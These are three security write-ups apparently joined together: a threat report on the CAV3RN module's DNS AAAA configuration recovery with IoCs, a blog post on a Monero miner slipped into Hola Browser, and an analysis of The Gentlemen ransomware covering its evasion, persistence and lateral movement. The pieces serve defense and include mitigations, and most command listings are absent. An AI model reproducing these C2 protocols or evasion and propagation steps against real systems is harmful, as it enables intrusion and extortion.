DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

DNS-based configuration recovery (simplified)

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:

d.53466D4C67515A.0.p.cloudlanecdn[.]com

The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

IPv6 AAAA record payload layout for obtaining length

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Field length encoding in DNS AAAA record responses (example)

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

TenantId retrieval process via DNS AAAA records (example)

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CAF021DDA726B8BA049C2AA395E505A1      AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806      NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678      AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

In early June, cybersecurity researchers discovered that a compromised version of the Israel-based Hola Browser for Windows (version 1.251.91.0) was secretly downloading a Monero crypto miner to users’ devices. Shortly after the discovery, Hola confirmed that it had fallen victim to a supply chain attack. In this article, we break down how the attack went down, how the crypto miner works, and what it means for affected users.

What is Hola Browser, and how was the malware discovered?

The Israeli company Hola is best known for its VPN service, which users primarily rely on to bypass geo-restrictions and access region-locked content. In addition to the VPN, the company develops Hola Browser — a Chromium-based browser that comes with built-in VPN and proxy features.

Researchers first spotted signs of trouble during a standard compliance check for the AppEsteem Windows Certified Application program. As part of this certification process, independent cybersecurity firms audit software to ensure it only contains the components it claims to have and is free of unwanted or malicious features. Even after a certificate is granted, apps are regularly re-evaluated to ensure they continue to meet AppEsteem’s strict guidelines.

It was during one of these routine follow-up checks that experts noticed an unauthorized file bundling itself with version 1.251.91.0 of Hola Browser for Windows. Once installed, the file saved itself to the hard drive at C:\Program Files\Hola\me{.}exe. The file immediately raised red flags for researchers due to a laundry list of suspicious characteristics: it wasn’t on the list of approved application files, lacked a timestamp, and had no digital signature. On top of that, its code was heavily obfuscated, and it possessed the ability to inject itself directly into system memory.

Interestingly, researchers noted that the file didn’t show up in every single installation. Because the infection wasn’t widespread across all users, experts suspected early on that a specific stage in the Hola Browser distribution pipeline had been compromised. Hola later confirmed this theory, admitting it had fallen victim to a supply chain attack.

As for the suspicious me{.}exe file itself, closer analysis revealed that it was a stealthy crypto miner configured to mine Monero. We’ll now dive into the technical details of how it works.

How did attackers use Hola Browser to mine Monero?

Crypto miners are programs that harness a computer’s processing power to mine cryptocurrency. While some users install this software intentionally to generate a bit of income, miners that run on a machine without the owner’s knowledge are typically classified as unwanted.

Running a hidden miner can noticeably slow down the device, spike the user’s electricity bill, and shorten the hardware’s lifespan. That being said, it’s worth noting that a crypto miner infection will not actually steal the owner’s cryptocurrency; the damage is strictly limited to the hijackers leeching your computer’s hardware resources to line their own pockets.

As we mentioned above, the malicious download bundled with Hola Browser sneaked a Monero crypto miner onto victims’ devices. Launched in 2014 and built on the CryptoNote protocol, Monero currently trades at around US$330 per coin.

Compared to heavyweights like Bitcoin or Ethereum, Monero is a bit exotic and lesser-known to the general public. This niche status shows in its relatively modest price growth and smaller market capitalization — which is roughly 200 times lower than Bitcoin’s. However, Monero has one defining feature: privacy. While Bitcoin and Ethereum operate on fully transparent, public blockchains, where anyone can trace transactions, Monero is a “privacy coin”. It uses advanced cryptographic mechanisms to mask the sender, receiver, and transaction amounts. This extreme anonymity is exactly why hackers love hidden Monero miners — it makes it difficult for law enforcement and cybersecurity professionals to follow the money trail.

Additionally, Monero’s underlying algorithm is explicitly designed to mine efficiently using standard computer processors (CPUs). This stands in stark contrast to many other popular cryptocurrencies, which require specialized ASIC hardware or high-end graphics cards (GPUs) to be profitable.

But let’s look closer at how this played out with Hola Browser. When researchers dissected the malicious me{.}exe code, they found it was automatically adding its own files to the Microsoft Defender exclusion list. By allowlisting itself, the malware successfully blinded Windows’ built-in antivirus, allowing the crypto miner to run in the background completely unhindered.

Once inside, the program made a copy of itself under the name HolaMonitorService{.}exe, and set up a persistent Windows background service called hola_monitor_svc. This maneuver allowed the malware to entrench itself in the system, automatically launching every time the computer restarted. To avoid raising any red flags with sudden massive performance drops, the miner was programmed to stay dormant, kicking into gear only when the computer was idle.

How to protect your device from crypto miners and malware

To their credit, Hola’s development team responded swiftly to the initial reports of the suspicious file. They confirmed the supply chain breach, but stated that the incident only impacted 0.1% of their user base. The company has since tightened up security around its update distribution pipeline to guarantee that users only receive approved, certified, and digitally-signed software components moving forward.

In light of this incident, we highly recommend that all Hola Browser users update to the latest version immediately — especially those running the application on Windows.

More broadly, this situation is a textbook reminder of why it’s so critical to keep all your software up to date and run a robust cybersecurity solution on all your gadgets. For instance, Kaspersky Premium provides real-time alerts about suspicious software behavior and blocks threats instantly. As an added bonus, a Kaspersky Premium subscription includes a secure and reliable VPN.

Don’t forget that malicious crypto miners don’t just target PCs; they also go after smartphones, often disguising themselves as anything from popular mobile games to official government service apps. Check out our previous posts to learn more:

• Android Trojan posing as government services and Starlink apps
• What happens if you download a cracked program?
• Miner inconvenience: how cybercriminals blackmail YouTubers into promoting malware
• Mario Forever, malware too: a free game with a miner and Trojans inside

Ransomware that combines robust encryption with rapid lateral movement significantly increases the risk and impact of an attack. The Gentlemen ransomware is a ransomware-as-a-service (RaaS) threat that is distinguished by its ability to pair its strong per-file encryption with an aggressive self-propagation capability designed to enable broad network compromise. In addition to using per-file ephemeral Curve25519 keys with XChaCha20 stream cipher, The Gentlemen ransomware attempts to spread across an environment using series of simultaneous, distinct lateral movement methods, increasing the likelihood of widespread impact once initial access is achieved.

Microsoft Threat Intelligence tracks the operators behind the ransomware as Storm-2697, a financially motivated threat actor that manages the RaaS platform known as “The Gentlemen” while affiliates carry out attacks. Emerging around mid-2025, The Gentlemen initially started as a closed ransomware group then began offering its RaaS to affiliates in September 2025. More recently, The Gentlemen operators established an official partnership with BreachForums, a popular cybercriminal marketplace, to recruit affiliates including penetration testers and initial access brokers. Given that The Gentlemen is already a widely adopted RaaS platform, this partnership may lead to increased activity as the program becomes accessible to a broader pool of threat actors.

The operators behind the ransomware use double extortion tactics, encrypting data while also exfiltrating sensitive information to pressure victims through the threat of public release if the ransom is not paid. The ransomware is written in Go and obfuscated with Garble to target the Windows environment. Microsoft has observed The Gentlemen ransomware impacting organizations across education, transportation, healthcare, and financial industries in North America, South America, Europe, Africa, and Asia.

In this blog, we present a detailed analysis of the Gentlemen ransomware encryptor, including its execution flow, defense evasion behaviors, encryption design, and lateral movement techniques. This research is intended to provide defenders, incident responders, and the broader security community with a better understanding of how the threat operates, from initial argument parsing and defense evasion, through its file encryption internals, to the full lateral movement that enables it to propagate across the network. We also provide mitigation guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help organizations defend against this threat and similar ransomware activity.

Pre-encryption

Command-line argument processing

The ransomware operator can control The Gentlemen encryptor through command-line arguments. A password is required for execution, and optional arguments allow the operator to specify encryption scope, speed, lateral movement, and post-encryption behaviors.

The binary accepts the following arguments:

The --full command-line argument appears to be the intended mode of operation for comprehensive file encryption on the infected device. When this argument is provided, the malware spawns two child processes of itself: one appended with the argument --system to encrypt local volumes under a SYSTEM-privileged scheduled task, and one appended with the argument --shares to encrypt network shares. This separation ensures that the malware can reach both local drives (which might require SYSTEM privileges) and mapped network shares (which are only visible in the user’s session).

The speed arguments (--fast, --superfast, --ultrafast) are mutually exclusive and control how much of each large file is encrypted. When no speed flag is specified, the default per-chunk percentage is 9%. These flags only affect files that are larger than 1 MB, and small files are fully encrypted regardless of the speed setting.

Usage prompt

When the encryptor is executed with no command-line argument, the malware prints a branded usage banner to the console.

It first executes the following PowerShell commands to render a console header:

This is followed by a detailed usage prompt provided by the malware author that documents all available flags with descriptions and examples:

It is worth noting that the file size percentages listed in the usage prompt refer to the total file encryption amount. Internally, the malware encrypts three separate chunks, and the per-chunk percentage used in the code is: fast=3%, superfast=1%, ultrafast=0.3%, default=9%.

Password check

Before executing its primary functionality, the malware validates the --password argument against a hardcoded value embedded within the binary. For the sample analyzed in this blog, the expected password is “9VoAvR7G”. If the provided password does not match, the malware outputs bad args and terminates execution.

This password check is a simple operator authentication mechanism, with each build containing a unique embedded password. Its purpose is to restrict execution to authorized operators and reduce the risk of accidental or unauthorized detonation if the binary is recovered or intercepted. However, because this validation relies on a static comparison, it can be easily identified and bypassed through static analysis techniques.

System encryption: Privilege escalation

When the --system argument is provided (either directly or via the --full argument), the malware creates a scheduled task to re-execute itself as SYSTEM. If a delay value is also specified through the --T argument, the scheduled execution time is adjusted accordingly.

To relaunch itself as SYSTEM, it issues the following sequence of commands:

The malware can only perform this task if it’s executed from an account with administrator privilege. It first deletes any existing task named gentlemen_system to avoid conflicts, creates a new one-time task that runs its binary under the SYSTEM account, and finally triggers that task.

This sequence ensures a clean state by first removing any existing task with the same name (gentlemen_system), creating a new scheduled task that executes the ransomware binary with SYSTEM-level privileges before finally triggering its immediate execution.

When running within this scheduled task context, the malware sets the environment variable LOCKER_BACKGROUND=1. This variable functions as an internal execution flag, indicating that the process is operating as a background encryption worker with elevated privileges, rather than as the original operator-invoked instance.

Defense evasion

Before starting file encryption, the malware executes a sequence of commands to disable defensive controls and remove potential forensic artifacts.

Disable Microsoft Defender

The PowerShell commands disable Microsoft Defender real-time monitoring to remove active protection on the infected device. The malware then adds its own executable to the Defender exclusion list to avoid detection. Finally, it excludes the entire C:\ volume from scanning, reducing the likelihood of subsequent detection during file encryption.

Delete shadow copies and event logs

To further impede recovery efforts, the malware deletes all Volume Shadow Copies using both vssadmin and wmic (Windows Management Instrumentation command-line utility). It then clears the System, Application, and Security event logs using wevtutil to remove key audit trails.

Delete forensics artifacts

These commands remove a variety of forensic artifacts, including prefetch files that track program execution, Defender diagnostic and support logs, and Remote Desktop Protocol (RDP) logs.

Additionally, the malware manually deletes PowerShell command history across all user profiles by removing the following file:

This action eliminates evidence of previously executed PowerShell commands, further reducing the visibility of execution history and threat actor activity.

Process and service termination

Process termination

The malware stops a list of running processes using the command:

The table below summarizes the different categories and processes being targeted:

Service termination

In addition to terminating processes, the malware disables and stops a list of Windows services using the commands:

The table below summarizes the different categories and services being targeted:

Terminating these processes and services serves two primary objectives:

• File access and encryption reliability: Many targeted processes/services, such as databases, Office applications, and backup agents, maintain active file locks. By forcibly terminating these processes, the ransomware ensures that locked files become accessible for encryption.
• Defense and recovery disruption: By stopping backup services, endpoint protection agents, and remote access tools, the malware reduces the likelihood of real-time detection and data restoration from backups.

Collectively, these behaviors maximize encryption coverage while hindering the environment’s ability to detect, respond to, or recover from the attack.

Persistence

The encryptor can establish persistence for itself through two mechanisms: scheduled tasks and registry keys.

Scheduled tasks persistence

For establishing persistence with scheduled tasks, the malware executes the following sequence of commands:

These commands first remove any pre-existing tasks with the same names, then create two persistence mechanisms that execute automatically at system startup. The UpdateSystem task launches the payload in the SYSTEM security context, while the UpdateUser task launches it in the currently signed-in user’s context. This design increases the likelihood that the ransomware will run after reboot regardless of privilege level or sign-in state.

Registry keys persistence

For establishing persistence with the registry, the malware executes the following sequence of commands:

The GupdateS value under HKEY_LOCAL_MACHINE (HKLM) provides device-wide persistence that allows the malware to run at startup for all users, while the GupdateU value under HKEY_CURRENT_USER (HKCU) provides user-scoped persistence within the current profile. By writing to both registry hives, the malware establishes redundant autorun paths across both system-level and user-level execution contexts.

Together, the scheduled tasks and Run key modifications create layered persistence, ensuring that the encryptor is re-executed after a reboot in both privileged and user-context scenarios.

Network share traversal

When the command-line argument --shares is provided, the malware initiates network share discovery and enumeration. It begins by probing all drive letters A through Z to identify mapped network drives using the following commands:

This sequence discovers any drives that are already mapped in the current user’s session, which are then added to the encryption target list.

To further enhance visibility into the network environment, the malware enables multiple Windows network discovery services and their associated firewall rules using the following commands:

The services enabled as part of this process include:

• Function Discovery Resource Publication (fdrespub): Publishes the host’s resources to the network, allowing other systems to detect it.
• Function Discovery Provider Host (fdPHost): Hosts provider components responsible for discovering network resources.
• Simple Service Discovery Protocol (SSDP) Discovery (SSDPSRV): Enables discovery of Universal Plug and Play (UPnP) devices.
• UPnP Device Host (upnphost): Supports the hosting and management of UPnP devices.

Finally, the malware reinforces this configuration by enabling the Network Discovery firewall rule group. This redundancy ensures that firewall restrictions do not limit its network visibility, further maximizing the number of reachable targets for encryption and propagation.

Volume and directory traversal

To enumerate all available volumes on the system, the malware executes the following PowerShell command sequence:

This command queries Windows Management Instrumentation (WMI) for all mounted volumes with drive letter paths and attempts to enumerate Cluster Shared Volumes (CSVs).

Additionally, the malware performs a secondary enumeration routine by iterating through drive letters A through Z while verifying their existence on disk. This brute-force method ensures broader coverage by identifying volumes that might not be retrieved through WMI queries to maximize visibility into all potential encryption targets.

Directory exclusion list

To maintain system stability and avoid disrupting critical operating system components, the malware excludes a predefined set of directories from traversal and encryption. These directories include core Windows system paths, application directories, and locations commonly associated with security and system management:

Extension exclusion list

The ransomware also excludes a set of file extensions associated with system-critical binaries, configuration files, and executable content:

By avoiding executable files, libraries, scripts, and other system-relevant formats, the malware preserves the integrity of the operating environment. This selective encryption model is a common ransomware design pattern, ensuring that the system remains operational enough for the victim to receive instructions and facilitate ransom payment.

File name exclusion list

The specific file names below are also excluded:

The inclusion of README-GENTLEMEN.txt, the ransomware’s ransom note, prevents it from being encrypted during execution. This ensures that the ransom instructions remain accessible to the victim, which is critical for the operator’s monetization workflow.

Ransom note

During directory traversal, the malware drops a ransom note named README-GENTLEMEN.txt in each scanned directory to provide victim-facing instructions.

The note contains identifiers assigned to the victim, communication channels, and guidance on how to initiate contact with the operators.

File encryption

File ownership

Before encrypting a file, the ransomware modifies the file ownership and access control settings to ensure it has unrestricted write access to the target. This is achieved through the following sequence of commands:

The takeown command recursively transfers ownership of the specified file or directory to the executing user, overriding existing ownership constraints. The icacls command then grants full control permissions to the Everyone security identifier (SID S-1-1-0), applying inheritance flags to propagate these permissions to all child objects. Finally, the attrib command removes the read-only attributes.

Cryptographic scheme

The Gentlemen ransomware implements a hybrid cryptographic design that combines Curve25519 elliptic-curve cryptography with the XChaCha20 stream cipher to achieve efficient and secure per-file encryption.

For each file, the malware performs the following sequence of operations:

1. Generates a unique ephemeral Curve25519 key pair, consisting of a randomly generated private key and its corresponding public key
2. Computes the Elliptic-curve Diffie–Hellman (ECDH) shared secret between the ephemeral private key and the operator’s embedded public key
3. Uses the resulting shared secret as the XChaCha20 key, and derives the nonce from the first 24 bytes of the ephemeral public key
4. Encrypts the file contents using XChaCha20 with this key and nonce combination
5. Appends the Base64-encoded ephemeral public key to the file footer to enable subsequent key reconstruction during decryption

In this sample, the operator’s public key is hard-coded within the binary as a Base64-encoded value:

This design ensures that each file is encrypted with a distinct key and nonce derived from a per-file ephemeral key exchange, eliminating any possibility of key or nonce reuse across files.

During decryption, the decryptor can use the operator’s Curve25519 private key together with the stored ephemeral public key to reconstruct the ECDH shared secret and recover the XChaCha20 key. The nonce is deterministically reconstructed by extracting the first 24 bytes of the recovered ephemeral public key, making separate nonce storage unnecessary.

Overall, this approach provides strong cryptographic isolation between encrypted files while maintaining operational simplicity and efficiency for the threat actor during both encryption and decryption.

Size-based encryption

The malware uses different encryption strategies based on file size:

Small files that are less than 1MB in size are fully encrypted. This ensures that documents, configuration files, and other small but critical data are completely corrupted. For larger files such as databases, virtual disk images, archives, full encryption would be time-consuming. Instead, the malware encrypts three data chunks distributed across the file, which is sufficient to corrupt the file structure while dramatically reducing encryption time.

After encryption, each affected file is renamed with the appended extension .umc16h. This extension serves as a quick indicator of files already encrypted by the ransomware.

Large file chunking logic

For files larger than 1 MB, the malware performs partial encryption by dividing the file into three non-contiguous chunks distributed across its contents:

The first chunk begins at the start of the file, the second is positioned near the midpoint, and the third is located toward the end. This distribution ensures that even limited encryption is sufficient to corrupt the file structure while minimizing processing time.

Each chunk is encrypted in 64 KB (0x10000) blocks using XChaCha20. To maintain cryptographic separation between chunks, the malware modifies the nonce on a per-chunk basis. Specifically, the last byte of the 24-byte XChaCha20 nonce is XOR-ed with the chunk index (0, 1, or 2), and a new cipher instance is initialized for each chunk using the modified nonce. As a result, chunk 0 uses the original nonce, while subsequent chunks use deterministically altered variants.

Although all chunks for a given file share the same derived encryption key, this nonce mutation ensures that each chunk is processed under a unique keystream, preventing keystream reuse across different regions of the file.

The encryption percentage for each file is determined by the provided speed command-line arguments:

File footer

After encrypting each file, the malware appends a structured footer containing metadata required for identification and decryption. The footer format differs slightly depending on whether the file was fully or partially encrypted.

Small file encryption (files ≤ 1 MB):

Large file encryption (files > 1 MB):

The footer serves three primary functions:

1. Key and nonce reconstruction: The Base64-encoded ephemeral public key, located after --eph--, allows the decryptor to recompute both the XChaCha20 key (using ECDH shared secret) and the nonce (first 24 bytes of the ephemeral public key).
2. Identification: The GENTLEMEN marker, located after --marker--, serves as a unique identifier, allowing encryptors/decryptors to quickly determine that the file has been encrypted by The Gentlemen ransomware.
3. Decryption mode: The optional speed flag marker (only present on large files) tells the decryptor which chunking percentage was used.

Notably, the speed marker is only present for large-file encryption. Files that are ≤ 1 MB do not include a speed marker, and its absence signals that the file was fully encrypted. This implicit encoding in the footer allows the decryptor to distinguish between full and partial encryption modes without requiring additional metadata fields.

Post-encryption

Wallpaper setup

If the --silent argument is not provided, the malware drops the following bitmap image file to %TEMP%\gentlemen.bmp and sets it as the system’s desktop wallpaper.

This behavior serves as an immediate visual indicator of compromise, signaling to the victim that encryption has completed.

Self-propagation

The self-propagation module is the more distinctive component of The Gentlemen ransomware. When enabled with the --spread argument, it turns the malware from a single-host encryptor into a self-propagating worm that attempts to deploy its encryptor to every reachable system on the network.

The --spread argument accepts either explicit credentials in domain/user:password format for authenticated lateral movement, or an empty string to reuse the current session’s authentication token.

Placeholder legend

The executed commands in this section use the following placeholders:

Phase 1: Local staging setup

The malware prepares the infected host to act as a distribution point for its binary by executing the following command sequence:

The commands copy the malware executable into C:\Temp, creates a hidden Server Message Block (SMB) share named share$ pointing to that directory, and modifies registry settings to allow anonymous access. With this setup, other systems on the network can retrieve the payload from \\<self>\share$, even when valid credentials are not available.

Phase 2: PsExec drop

The malware binary carries an embedded copy of PsExec and drops it to C:\Temp\psexec.exe on the infected device.

If the embedded PsExec payload cannot be extracted successfully, the malware falls back to downloading PsExec directly from Microsoft’s Sysinternals Live service using the following PowerShell command:

Phase 3: Network enumeration

After dropping PsExec, the malware attempts to enumerate and discover remote systems on the network, including workstations, servers, and domain controllers. Each discovered host becomes a candidate target for propagation.

Phase 4: PowerShell defense evasion blob

Before attempting to run the payload on a remote system, the malware executes the following PowerShell command on the remote target to weaken local defenses and make payload execution more reliable:

This command disables Microsoft Defender real-time monitoring, adds broad Defender exclusions, turns off Windows Firewall across all profiles, shares local drives, grants permissive New Technology File System (NTFS) access, enables SMB1, and loosens anonymous-access restrictions through Local Security Authority (LSA) registry settings. Together, these changes make the remote system significantly more exposed and ready for the payload deployment step.

Phase 5: Payload deployment

For each discovered remote host, the malware attempts a series of independent lateral movement techniques to execute its payload. Notably, these techniques are executed without dependency on prior success, and each method is attempted regardless of whether earlier attempts fail. This execution model of The Gentlemen’s propagation logic can significantly increase the likelihood that at least one execution path succeeds even in secured environments.

5.1: Remote file copy

The malware first stages its payload on the remote system by copying the encryptor binary over the administrative C$ share:

This operation ensures a local copy of the payload is available on the target host, allowing subsequent execution methods to reference a path that does not depend on network shares.

5.2: PsExec-based execution

If PsExec is successfully dropped or downloaded, the malware leverages it to perform a multi-stage execution sequence on the remote host.

First, the malware executes the PowerShell defense evasion payload to weaken host protections:

After a delay to allow defenses to be disabled, the malware executes the payload from the locally staged path C:\Temp under SYSTEM privileges:

After another sleep period, the malware executes the final command to run the payload with the –h flag for elevated token and –c -f to copy and force execution:

5.3: WMIC process creation

The malware uses WMI via wmic.exe to create remote processes:

The first command executes the defense evasion blob, the second runs the payload from the infected host’s SMB share, and the third runs the pre-staged copy from the target’s local C:\Temp directory.

5.4: Scheduled tasks (user)

The malware creates three scheduled tasks under the target user’s context, each running two minutes after the time when they are created:

The scheduled task DefU is set to run the defense evasion blob, UpdateGU executes the payload from the infected host’s SMB share, and UpdateGU2runs the pre-staged copy from the target’s local C:\Temp directory.

5.5: Scheduled tasks (system)

The same three tasks are repeated, running under the SYSTEM account:

By attempting both user-context and SYSTEM-context task creation, the ransomware can improve its chance of propagation across environments with different permission boundaries.

5.6: Service-based execution

The malware executes the following command sequence to create three Windows services on the target host:

Similar to the scheduled tasks, the service DefSvc is set to run the defense evasion blob, UpdateSvc executes the payload from the infected host’s SMB share, and UpdateSvc2 runs the pre-staged copy from the target’s local C:\Temp directory. These services run as SYSTEM by default, which provides another high-privilege execution path for the ransomware payload on the remote system.

5.7: Payload deployment: PowerShell remoting

Using PowerShell remoting, the malware executes commands directly on the target using Invoke-Command:

This method leverages Windows Remote Management (WinRM), providing an alternative execution channel when PsExec or WMIC are unavailable or blocked.

5.8: PowerShell WMI execution

Finally, the malware uses the PowerShell WMI class interface directly to create remote processes with the following command sequence.

This provides functionality equivalent to wmic.exe, but through a different execution path. As a result, it might succeed in environments where the WMIC binary is restricted but WMI access remains available.

Self-propagation summary

Across all techniques, the malware attempts 21 remote execution operations per target host, spanning multiple APIs, privilege levels, and execution contexts. Each method attempts to launch the payload from:

• The infected host’s SMB share: \\<self>\share$\<payload_name>
• The target host’s locally staged path: C:\Temp\<payload_name>

This redundancy is central to The Gentlemen’s propagation strategy. In secured environments where most lateral movement techniques are mitigated, a single successful execution on a single additional host is sufficient to continue the propagation.

Free space wipe

If the --wipe argument is provided, The Gentlemen ransomware performs an additional post-encryption routine to eliminate recoverable artifacts from disk.

The malware first enumerates all available volume paths on the system. For each volume, it creates a temporary file named wipefile.tmp at the root directory and determines the amount of available free space. It then writes random data to this file in 64 MB blocks until the volume is completely filled. Once the disk space has been exhausted, the temporary file is deleted.

This process effectively overwrites all unallocated disk space with random data, preventing forensic tools from recovering remnants of previously deleted files. This includes cached or temporary versions of original unencrypted data that might still reside on disk. When combined with earlier actions such as Volume Shadow Copy deletion, this behavior reduces the likelihood of data recovery without access to the threat actor’s decryption key.

Self-delete

If the --keep flag is not provided, the malware attempts to remove its executable from disk after completing encryption.

Since a running process cannot directly delete its own binary, the ransomware generates and executes a temporary batch script at <malware_path>.batwith the following contents:

The batch script introduces a short delay by sending three Internet Control Message Protocol (ICMP) echo requests to the local host, pausing execution long enough for the main malware process to terminate. After this delay, the script deletes the original ransomware executable before removing itself. This mechanism helps reduce on-disk artifacts and hinders post-incident forensic analysis by eliminating the ransomware binary from the compromised system.

Defending against The Gentlemen ransomware

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations. 
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving threat actor tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants. 
• Turn on tamper protection features to prevent threat actors from stopping security services. In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy. 
• Enable controlled folder access. Controlled folder access helps protect your valuable data from malicious apps and threats, such as ransomware. Controlled folder access works by only allowing trusted apps to access protected folders. Protected folders are specified when controlled folder access is configured. Apps that aren’t included in the trusted apps list are prevented from making any changes to files inside protected folders. 
